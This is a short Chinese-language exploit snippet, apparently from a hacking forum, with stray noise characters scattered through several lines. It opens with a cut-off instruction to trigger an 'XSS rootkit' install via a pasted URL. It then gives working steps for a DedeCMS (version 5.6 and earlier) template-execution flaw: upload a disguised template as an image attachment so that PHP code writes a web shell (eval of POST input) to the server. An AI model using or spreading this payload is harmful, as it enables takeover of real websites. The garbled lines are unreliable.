1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。

Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
, Z- r! e# O' u' `+ k0 B6 w' g0 _uploads/userup/2/12OMX04-15A.jpg
. v; m' j/ v. e/ u) ]9 H0 y

模板内容是（如果限制图片格式，加gif89a）：
9 v# J/ b, a6 @) ~0 M{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
3 [$ R- I- e$ P+ a+ c# @. }@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
